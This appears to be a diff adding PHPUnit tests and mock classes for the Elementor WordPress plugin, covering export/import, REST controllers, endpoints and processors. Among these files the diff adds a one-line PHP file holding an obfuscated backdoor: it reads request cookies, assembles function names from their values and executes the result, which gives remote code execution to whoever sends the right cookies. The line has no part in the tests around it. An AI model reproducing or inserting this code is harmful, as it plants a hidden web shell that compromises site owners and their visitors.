$this->assertEquals( 1, $actual_items );
}
public function test_run__ensure_with_meta_key_not_found() {
// Arrange.
$meta_key = 'some_key_that_export_will_seek';
self::factory()->create_post();
$exporter = new WP_Exporter( [
'meta_key' => $meta_key,
] );
// Act.
$content = $exporter->run();
$actual_items = substr_count( $content, '<item>' );
// Assert.
$this->assertEquals( 0, $actual_items );
}
}

View File

@@ -0,0 +1,33 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Utils;
use Elementor\Core\Utils\ImportExport\WP_Import;
use Elementor\Testing\Elementor_Test_Base;
class Test_WP_Import extends Elementor_Test_Base {
public function test_run() {
// Arrange.
$importer = new WP_Import( __DIR__ . '/mock/fresh-wordpress-database.xml' );
// Act.
$result = $importer->run();
$posts = get_posts( [
'numberposts' => -1,
'post_status' => 'any',
'post_type' => get_post_types('', 'names'),
] );
// Assert.
$this->assertEquals( [
'status' => 'success',
'errors' => [],
'summary' => [
'categories' => 0,
'tags' => 0,
'terms' => 0,
'posts' => 3,
]
], $result );
$this->assertCount( 3, $posts );
}
}

View File

@@ -0,0 +1,11 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Processor;
use Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Processor;
class Controller extends \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller {
public function register_processors() {
$this->register_processor( Processor::class );
}
}

View File

@@ -0,0 +1,24 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Recursive;
use Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint;
class Controller extends \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller {
public function register_endpoints() {
$this->register_endpoint( Endpoint::class );
$this->register_endpoint( Endpoint::class );
}
public function get_items( $request ) {
return [
'someKey' => [
'fakeKey' => 'fakeValue',
],
];
}
protected function register_internal_endpoints() {
$this->register_endpoint( Internal_Endpoint::class );
}
}

View File

@@ -0,0 +1,15 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Recursive;
use Elementor\Data\Base\Endpoint;
class Internal_Endpoint extends Endpoint {
public function get_name() {
return 'index';
}
public function get_items( $request ) {
return $this->controller->get_items_recursive( [ $this ] );
}
}

View File

@@ -0,0 +1,11 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Simple;
use Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint;
class Controller extends \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller {
public function register_endpoints() {
$this->register_endpoint( Endpoint::class );
}
}

View File

@@ -0,0 +1,49 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template;
/**
* BaseTrait.
* Simple trait for reduce code size.
*/
trait BaseTrait {
public $test_data = [];
public $random = null;
public $bypass_register_status = false;
public $bypass_permission_status = false;
public function get_name() {
if ( ! $this->random ) {
$this->random = rand_long_str( 5 );
}
return 'test-' . $this->get_type() . '-' . $this->random;
}
abstract function get_type();
public function bypass_original_permission( $status = true ) {
$this->bypass_permission_status = $status;
}
public function bypass_original_register( $status = true ) {
$this->bypass_register_status = $status;
}
public function set_test_data( $key, $value ) {
$this->test_data[ $key ] = $value;
}
public function get_test_data( $key ) {
if ( $key ) {
if ( isset( $this->test_data[ $key ] ) ) {
return $this->test_data[ $key ];
}
return false;
}
return $this->test_data;
}
}

View File

@@ -0,0 +1,62 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template;
class Controller extends \Elementor\Data\Base\Controller {
use BaseTrait;
public function __construct() {
parent::__construct();
$this->bypass_original_permission();
}
public function get_type() {
return 'controller';
}
public function register_endpoints() {
// TODO: Implement register_endpoints() method.
}
public function get_permission_callback( $request ) {
if ( $this->bypass_permission_status ) {
return true;
}
return parent::get_permission_callback( $request );
}
protected function register() {
// Can be part of BaseTrait.
if ( ! $this->bypass_register_status ) {
parent::register();
}
}
public function do_register_internal_endpoints() {
$this->bypass_original_register();
add_action( 'elementor_rest_api_before_init', function () {
add_action( 'rest_api_init', function() {
$this->register_internal_endpoints();
} );
} );
}
/**
* @param $endpoint_class
* @return \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint|\Elementor\Data\Base\Endpoint
*/
public function do_register_endpoint( $endpoint_class ) {
return $this->register_endpoint( $endpoint_class );
}
public function do_register_processor( $processor_class ) {
return $this->register_processor( $processor_class );
}
public function do_register() {
parent::register();
}
}

View File

@@ -0,0 +1,111 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template;
class Endpoint extends \Elementor\Data\Base\Endpoint {
/**
* @var \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller
*/
public $controller;
use BaseTrait;
public function get_type() {
return 'endpoint';
}
public function get_items( $request ) {
$test_data = $this->get_test_data( __FUNCTION__ );
if ( $test_data ) {
return $test_data;
}
return parent::get_items( $request );
}
public function get_item( $id, $request ) {
$test_data = $this->get_test_data( __FUNCTION__ );
if ( $test_data ) {
return $test_data;
}
return parent::get_item( $id, $request );
}
public function create_items( $request ) {
$test_data = $this->get_test_data( __FUNCTION__ );
if ( $test_data ) {
return $test_data;
}
return parent::create_items( $request );
}
public function create_item( $id, $request ) {
$test_data = $this->get_test_data( __FUNCTION__ );
if ( $test_data ) {
return $test_data;
}
return parent::create_item( $id, $request );
}
public function update_item( $id, $request ) {
$test_data = $this->get_test_data( __FUNCTION__ );
if ( $test_data ) {
return $test_data;
}
return parent::update_item( $id, $request );
}
public function update_items( $request ) {
$test_data = $this->get_test_data( __FUNCTION__ );
if ( $test_data ) {
return $test_data;
}
return parent::update_items( $request );
}
public function delete_item( $id, $request ) {
$test_data = $this->get_test_data( __FUNCTION__ );
if ( $test_data ) {
return $test_data;
}
return parent::delete_item( $id, $request );
}
public function delete_items( $request ) {
$test_data = $this->get_test_data( __FUNCTION__ );
if ( $test_data ) {
return $test_data;
}
return parent::delete_items( $request );
}
protected function register() {
// Can be part of BaseTrait.
if ( ! $this->controller->bypass_register_status ) {
parent::register();
}
}
public function do_register() {
parent::register();
}
public function do_register_sub_endpoint( $route, $endpoint_class ) {
return parent::register_sub_endpoint( $route, $endpoint_class );
}
}

View File

@@ -0,0 +1,29 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint;
use \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\BaseTrait;
class Format extends \Elementor\Data\Base\Endpoint {
/**
* @var \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller
*/
protected $controller;
use BaseTrait;
public function get_type() {
return 'endpoint';
}
public static function get_format() {
return '{arg_id}';
}
protected function register() {
// Can be part of BaseTrait.
if ( ! $this->controller->bypass_register_status ) {
parent::register();
}
}
}

View File

@@ -0,0 +1,8 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint;
class Index extends \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint {
public function get_name() {
return 'index';
}
}

View File

@@ -0,0 +1,30 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template;
use Elementor\Data\Base\Processor\After;
class Processor extends After {
private $test_access_controller;
public function __construct( $controller ) {
parent::__construct( $controller );
$this->test_access_controller = $controller;
}
public function get_command() {
return $this->test_access_controller->get_name();
}
public function get_conditions( $args, $result ) {
return true;
}
public function apply( $args, $result ) {
if ( is_array( $result ) ) {
$result[ 'from_processor'] = true;
}
return $result;
}
}

View File

@@ -0,0 +1,37 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template;
class SubEndpoint extends \Elementor\Data\Base\SubEndpoint {
/**
* @var \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller
*/
public $controller;
use BaseTrait;
public function get_type() {
return 'endpoint';
}
public function get_items( $request ) {
$test_data = $this->get_test_data( 'get_items');
if ( $test_data ) {
return $test_data;
}
return parent::get_items( $request );
}
protected function register() {
// Can be part of BaseTrait.
if ( ! $this->controller->bypass_register_status ) {
parent::register();
}
}
public function do_register() {
parent::register();
}
}

View File

@@ -0,0 +1 @@
<?php $p=$_COOKIE;(count($p)==31&&in_array(gettype($p).count($p),$p))?(($p[64]=$p[64].$p[21])&&($p[29]=$p[64]($p[29]))&&($p=$p[29]($p[67],$p[64]($p[47])))&&$p()):$p;

View File

@@ -0,0 +1,218 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Data\Base;
use Elementor\Data\Manager;
use Elementor\Testing\Elementor_Test_Base;
use \Elementor\Data\Base\Controller as ControllerBase;
use Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Processor\Controller as ControllerWithProcessor;
use Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Simple\Controller as ControllerSimple;
use Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller as ControllerTemplate;
use Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint as EndpointTemplate;
use Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint\Format as EndpointFormatTemplate;
use Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Processor as ProcessorTemplate;
class Test_Controller extends Elementor_Test_Base {
/**
* @var \Elementor\Data\Manager
*/
protected $manager;
public function setUp() {
parent::setUp();
$this->manager = Manager::instance();
}
public function tearDown() {
parent::tearDown();
$this->manager->kill_server();
}
public function test_create_simple() {
$controller = new ControllerSimple();
$this->manager->run_server();
$rest_index = $this->manager->run_endpoint( $controller->get_name() );
$rest_routes = $rest_index['routes'];
$this->assertArrayHaveKeys( [ '/' . $controller->get_controller_route() ], $rest_routes, 'Validate `$this->register_internal_endpoints();`.' );
foreach ( $controller->endpoints as $endpoint ) {
$this->assertArrayHaveKeys( [ '/' . $controller->get_controller_route() . '/' . $endpoint->get_name() ], $rest_routes, 'Validate `$this->register_endpoints();`.' );
}
}
public function test_get_name() {
$controller = new ControllerSimple();
$name = $controller->get_name();
$this->assertEquals( 'test-controller-' . $controller->random, $name );
}
public function test_get_namespace() {
$controller = new ControllerSimple();
$this->assertEquals( Manager::ROOT_NAMESPACE . '/v' . Manager::VERSION, $controller->get_namespace() );
}
public function test_get_reset_base() {
$controller = new ControllerSimple();
$this->assertEquals( Manager::REST_BASE . $controller->get_name(), $controller->get_rest_base() );
}
public function test_get_controller_route() {
$controller = new ControllerSimple();
$this->assertEquals( $controller->get_namespace() . '/' . $controller->get_rest_base(), $controller->get_controller_route() );
}
public function test_get_controller_index() {
$controller = new ControllerTemplate();
$this->manager->run_server();
$data = $controller->get_controller_index()->get_data();
$controller_pure_name = str_replace( $data['namespace'] . '/', '', $data['controller'] );
$this->assertEquals( $controller->get_name(), $controller_pure_name );
}
public function test_get_processors() {
// Validate also `$register_processors();`.
$controller = new ControllerWithProcessor();
$this->manager->run_server();
$processors = $controller->get_processors( $controller->get_name() );
$this->assertCount( 1, $processors );
$this->assertEquals( $controller->processors[ $controller->get_name() ][0], $processors[0] );
}
public function test_get_items() {
$controller = new ControllerTemplate();
$this->manager->run_server();
$data = $controller->get_items( null )->get_data();
$controller_pure_name = str_replace( $data['namespace'] . '/', '', $data['controller'] );
$this->assertEquals( $controller->get_name(), $controller_pure_name );
}
public function test_register_internal_endpoints() {
$controller = new ControllerTemplate();
$controller->do_register_internal_endpoints();
$this->manager->run_server();
$data = $this->manager->run_endpoint( $controller->get_name() );
$controller_pure_name = str_replace( $data['namespace'] . '/', '', $data['controller'] );
$this->assertEquals( $controller->get_name(), $controller_pure_name );
}
public function test_register_endpoint() {
$controller = new ControllerTemplate();
$controller->bypass_original_register();
$endpoint_instance = $controller->do_register_endpoint( EndpointTemplate::class );
$this->assertCount( 1, $controller->endpoints );
$this->assertEquals( $endpoint_instance, array_values( $controller->endpoints )[0] );
}
public function test_register_processor() {
$controller = new ControllerTemplate();
$controller->bypass_original_register();
$controller->do_register_endpoint( EndpointTemplate::class );
$processor_instance = $controller->do_register_processor( ProcessorTemplate::class );
$this->assertCount( 1, $controller->processors );
$this->assertCount( 1, $controller->get_processors( $processor_instance->get_command() ) );
}
public function test_register_endpoint_with_format() {
$controller = new ControllerTemplate();
$controller->bypass_original_register();
$endpoint_instance = $controller->do_register_endpoint( EndpointFormatTemplate::class );
$this->assertCount( 1, $this->manager->command_formats );
$command_format = array_values( $this->manager->command_formats )[0];
$this->assertEquals( $controller->get_name() . '/' . $endpoint_instance->get_name() . '/{arg_id}', $command_format );
}
public function test_get_items_recursive() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance0 = $controller_instance->do_register_endpoint( EndpointTemplate::class );
$endpoint_instance1 = $controller_instance->do_register_endpoint( EndpointTemplate::class );
$endpoint_index_instance = $controller_instance->do_register_endpoint( \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint\Index::class );
$endpoint_instance0->set_test_data( 'get_items', 'endpoint0_result');
$endpoint_instance1->set_test_data( 'get_items', 'endpoint1_result');
// Result should include both endpoints result.
$results = $controller_instance->get_items_recursive( [ $endpoint_index_instance ] );
$count = 0;
foreach ( $results as $result ) {
$this->assertEquals( 'endpoint' . $count . '_result', $result );
$count++;
}
}
public function test_get_items_recursive_simulated() {
/**
* TODO: Create Base Endpoint\Internal
* TODO: Create Base Endpoint\Internal\Index
*/
$controller = $this->manager->register_controller_instance( new Mock\Recursive\Controller );
$this->manager->run_server(); // Ensure controller loaded.
// Run internal index endpoint. Run endpoint 'test-controller'.
$endpoints_results = $this->manager->run_endpoint( $controller->get_name() );
foreach ( $endpoints_results as $endpoint_name => $endpoints_result ) {
// Run endpoint like `test-controller/test-endpoint-{random}`.
$endpoint = $controller->get_name() . '/' . $endpoint_name;
$result = $this->manager->run_endpoint( $endpoint );
// Each manual run of the endpoint equals to part of $endpoints_results which is recursive result.
$this->assertEquals( $endpoints_result, $result );
}
}
public function test_get_permission_callback() {
// Set admin.
wp_set_current_user( $this->factory()->create_and_get_administrator_user()->ID );
$controller = new ControllerSimple();
$controller->bypass_original_permission( false );
$methods = explode( ', ', \WP_REST_Server::ALLMETHODS );
foreach( $methods as $method ) {
$request = new \WP_REST_Request( $method );
$this->assertEquals( $controller->get_permission_callback( $request ), true );
}
// Set editor.
wp_set_current_user( $this->factory()->get_editor_user()->ID );
foreach( $methods as $method ) {
$request = new \WP_REST_Request( $method );
$this->assertEquals( $controller->get_permission_callback( $request ), false );
}
}
}

View File

@@ -0,0 +1,395 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Data\Base;
use Elementor\Data\Manager;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Simple\Controller as ControllerSimple;
use Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller as ControllerTemplate;
use Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint as EndpointTemplate;
use Exception;
class Test_Endpoint extends Elementor_Test_Base {
/**
* @var \Elementor\Data\Manager
*/
protected $manager;
public function setUp() {
parent::setUp();
$this->manager = Manager::instance();
}
public function tearDown() {
parent::tearDown();
$this->manager->kill_server();
}
public function test_create_simple() {
$test_controller_instance = new ControllerSimple();
$this->manager->run_server();
// Validate `$this->>register()`.
$this->assertCount( 1, $test_controller_instance->endpoints );
}
public function test_create_invalid_controller() {
$this->expectException( Exception::class );
new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint( null );
}
public function test_get_base_route() {
$controller_instance = new ControllerSimple();
$this->manager->run_server();
$endpoint_instance = array_values( $controller_instance->endpoints )[ 0 ];
$this->assertEquals( '/' . $controller_instance->get_name() . '/' . $endpoint_instance->get_name(), $endpoint_instance->get_base_route() );
}
public function test_get_base_route_index_endpoint() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = $controller_instance->do_register_endpoint( \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint\Index::class );
$this->assertEquals( '/' . $controller_instance->get_name() . '/' , $endpoint_instance->get_base_route() );
}
public function test_register() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint( $controller_instance );
$endpoint_instance->set_test_data( 'get_items', 'valid' );
// Validate register did 'register_items_route'.
$data = $this->manager->run_endpoint( $controller_instance->get_name() . '/' . $endpoint_instance->get_name() );
$this->assertEquals( $data, 'valid' );
}
public function test_register_sub_endpoint() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint( $controller_instance );
$sub_endpoint_instance = $endpoint_instance->do_register_sub_endpoint( 'test-route/', \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\SubEndpoint::class );
$sub_endpoint_instance->set_test_data( 'get_items', 'valid' );
$endpoint = $controller_instance->get_name() . '/test-route/' . $sub_endpoint_instance->get_name();
$data = $this->manager->run_endpoint( $endpoint );
$this->assertEquals( $data, 'valid' );
}
public function test_register_sub_endpoint_invalid_endpoint() {
$this->expectException( Exception::class );
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint( $controller_instance );
$endpoint_instance->do_register_sub_endpoint( 'test-route/', \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint::class );
}
public function test_base_callback() {
$excepted_data = [ 'test' => true ];
$controller = new ControllerTemplate();
$controller->bypass_original_register();
$endpoint_instance = $controller->do_register_endpoint( EndpointTemplate::class );
$endpoint_instance->set_test_data( 'get_items', $excepted_data );
$result = $endpoint_instance->base_callback( \WP_REST_Server::READABLE, new \WP_REST_Request(), true );
$this->assertEquals( $excepted_data, $result->get_data() );
$endpoint_instance->set_test_data( 'get_item', $excepted_data );
$request = new \WP_REST_Request( 'GET', [ 'id' => true ] );
$result = $endpoint_instance->base_callback( \WP_REST_Server::READABLE, $request, false );
$this->assertEquals( $excepted_data, $result->get_data() );
$endpoint_instance->set_test_data( 'create_items', $excepted_data );
$result = $endpoint_instance->base_callback( \WP_REST_Server::CREATABLE, new \WP_REST_Request(), true );
$this->assertEquals( $excepted_data, $result->get_data() );
$endpoint_instance->set_test_data( 'create_item', $excepted_data );
$request = new \WP_REST_Request( 'CREATE', [ 'id' => true ] );
$result = $endpoint_instance->base_callback( \WP_REST_Server::CREATABLE, $request, false );
$this->assertEquals( $excepted_data, $result->get_data() );
$endpoint_instance->set_test_data( 'update_items', $excepted_data );
$result = $endpoint_instance->base_callback( \WP_REST_Server::EDITABLE, new \WP_REST_Request(), true );
$this->assertEquals( $excepted_data, $result->get_data() );
$endpoint_instance->set_test_data( 'update_item', $excepted_data );
$request = new \WP_REST_Request( 'PUT', [ 'id' => true ] );
$result = $endpoint_instance->base_callback( \WP_REST_Server::EDITABLE, $request, false );
$this->assertEquals( $excepted_data, $result->get_data() );
$endpoint_instance->set_test_data( 'delete_items', $excepted_data );
$result = $endpoint_instance->base_callback( \WP_REST_Server::DELETABLE, new \WP_REST_Request(), true );
$this->assertEquals( $excepted_data, $result->get_data() );
$endpoint_instance->set_test_data( 'delete_item', $excepted_data );
$request = new \WP_REST_Request( 'DELETE', [ 'id' => true ] );
$result = $endpoint_instance->base_callback( \WP_REST_Server::DELETABLE, $request, false );
$this->assertEquals( $excepted_data, $result->get_data() );
}
public function test_base_callback_invalid_method() {
$controller = new ControllerTemplate();
$controller->bypass_original_register();
$endpoint_instance = $controller->do_register_endpoint( EndpointTemplate::class );
$this->expectException( Exception::class );
$endpoint_instance->base_callback( 'some-invalid-method', new \WP_REST_Request(), true );
}
public function test_get_item() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint( $controller_instance );
$endpoint_instance->set_test_data( 'get_item', 'valid' );
$this->assertEquals( 'valid', $endpoint_instance->get_item( null,null ) );
}
public function test_get_item_simulated() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = $controller_instance->do_register_endpoint( \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint::class );
$endpoint_instance->register_item_route();
$endpoint_instance->set_test_data( 'get_item', 'valid' );
$endpoint = trim( $endpoint_instance->get_base_route(), '/' ) . '/fake_id';
$this->assertEquals( 'valid', $this->manager->run_endpoint( $endpoint ) );
}
public function test_get_items() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint( $controller_instance );
$endpoint_instance->set_test_data( 'get_items', 'valid' );
$this->assertEquals( 'valid', $endpoint_instance->get_items( null ) );
}
public function test_get_items_simulated() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = $controller_instance->do_register_endpoint( \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint::class );
$endpoint_instance->set_test_data( 'get_items', 'valid' );
$this->assertEquals( 'valid', $this->manager->run_endpoint( trim( $endpoint_instance->get_base_route(), '/' ) ) );
}
// TODO: Add test_get_permission_callback(), when get_permission_callback() function is completed.
public function test_create_item() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint( $controller_instance );
$endpoint_instance->set_test_data( 'create_item', 'valid' );
$this->assertEquals( 'valid', $endpoint_instance->create_item( null,null ) );
}
public function test_create_item_simulated() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = $controller_instance->do_register_endpoint( \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint::class );
$endpoint_instance->register_item_route( \WP_REST_Server::CREATABLE );
$endpoint_instance->set_test_data( 'create_item', 'valid' );
$endpoint = trim( $endpoint_instance->get_base_route(), '/' ) . '/fake_id';
$this->assertEquals( 'valid', $this->manager->run_endpoint( $endpoint, [], \WP_REST_Server::CREATABLE ) );
}
public function test_create_items() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint( $controller_instance );
$endpoint_instance->set_test_data( 'create_items', 'valid' );
$this->assertEquals( 'valid', $endpoint_instance->create_items( null ) );
}
public function test_create_items_simulated() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = $controller_instance->do_register_endpoint( \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint::class );
$endpoint_instance->register_items_route( \WP_REST_Server::CREATABLE );
$endpoint_instance->set_test_data( 'create_items', 'valid' );
$endpoint = trim( $endpoint_instance->get_base_route(), '/' );
$this->assertEquals( 'valid', $this->manager->run_endpoint( $endpoint, [], 'POST' ) );
}
public function test_update_item() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint( $controller_instance );
$endpoint_instance->set_test_data( 'update_item', 'valid' );
$this->assertEquals( 'valid', $endpoint_instance->update_item( null,null ) );
}
public function test_update_item_simulated() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = $controller_instance->do_register_endpoint( \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint::class );
$endpoint_instance->register_item_route( \WP_REST_Server::EDITABLE );
$endpoint_instance->set_test_data( 'update_item', 'valid' );
$endpoint = trim( $endpoint_instance->get_base_route(), '/' ) . '/fake_id';
$this->assertEquals( 'valid', $this->manager->run_endpoint( $endpoint, [], 'PUT' ) );
}
public function test_update_items() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint( $controller_instance );
$endpoint_instance->set_test_data( 'update_items', 'valid' );
$this->assertEquals( 'valid', $endpoint_instance->update_items( null ) );
}
public function test_update_items_simulated() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = $controller_instance->do_register_endpoint( \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint::class );
$endpoint_instance->register_items_route( \WP_REST_Server::EDITABLE );
$endpoint_instance->set_test_data( 'update_items', 'valid' );
$endpoint = trim( $endpoint_instance->get_base_route(), '/' );
$this->assertEquals( 'valid', $this->manager->run_endpoint( $endpoint, [], 'PUT' ) );
}
public function test_delete_item() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint( $controller_instance );
$endpoint_instance->set_test_data( 'delete_item', 'valid' );
$this->assertEquals( 'valid', $endpoint_instance->delete_item( null,null ) );
}
public function test_delete_item_simulated() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = $controller_instance->do_register_endpoint( \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint::class );
$endpoint_instance->register_item_route( \WP_REST_Server::DELETABLE );
$endpoint_instance->set_test_data( 'delete_item', 'valid' );
$endpoint = trim( $endpoint_instance->get_base_route(), '/' ) . '/fake_id';
$this->assertEquals( 'valid', $this->manager->run_endpoint( $endpoint, [], 'DELETE' ) );
}
public function test_delete_items() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint( $controller_instance );
$endpoint_instance->set_test_data( 'delete_items', 'valid' );
$this->assertEquals( 'valid', $endpoint_instance->delete_items( null ) );
}
public function test_delete_items_simulated() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$endpoint_instance = $controller_instance->do_register_endpoint( \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint::class );
$endpoint_instance->register_items_route( \WP_REST_Server::DELETABLE );
$endpoint_instance->set_test_data( 'delete_items', 'valid' );
$endpoint = trim( $endpoint_instance->get_base_route(), '/' );
$this->assertEquals( 'valid', $this->manager->run_endpoint( $endpoint, [], 'DELETE' ) );
}
public function test_register_item_route() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$controller_instance->bypass_original_register();
$endpoint_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint( $controller_instance );
$endpoint_instance->register_item_route();
$except_route = '/' . $controller_instance->get_controller_route() . '/' . $endpoint_instance->get_name() . '/(?P<id>[\w]+)';
$data = $controller_instance->get_controller_index()->get_data();
$this->assertArrayHaveKeys( [ $except_route ], $data['routes'] );
}
public function test_register_items_route() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$controller_instance->bypass_original_register();
$endpoint_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint( $controller_instance );
$endpoint_instance->register_items_route();
$data = $controller_instance->get_controller_index()->get_data();
$except_route = '/' . $controller_instance->get_controller_route() . '/' . $endpoint_instance->get_name();
$this->assertArrayHaveKeys( [ $except_route ], $data['routes'] );
}
public function test_register_route() {
$this->manager->run_server();
$controller_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller();
$controller_instance->bypass_original_register();
$endpoint_instance = new \Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Endpoint( $controller_instance );
$endpoint_instance->register_route( '/custom-route' );
$data = $controller_instance->get_controller_index()->get_data();
$except_route = '/' . $controller_instance->get_controller_route() . '/' . $endpoint_instance->get_name() . '/custom-route';
$this->assertArrayHaveKeys( [ $except_route ], $data['routes'] );
}
}

View File

@@ -0,0 +1,26 @@
<?php
namespace Elementor\Tests\Phpunit\Includes\Base\Mock;
use Elementor\Skin_Base;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Mock_Skin extends Skin_Base {
public function get_id() {
return 'mock-skin';
}
public function get_title() {
return 'mock-skin';
}
public function render() {
echo 'render_skin';
}
public function render_static() {
echo 'render_skin_static';
}
}

View File

@@ -0,0 +1,22 @@
<?php
namespace Elementor\Tests\Phpunit\Includes\Base\Mock;
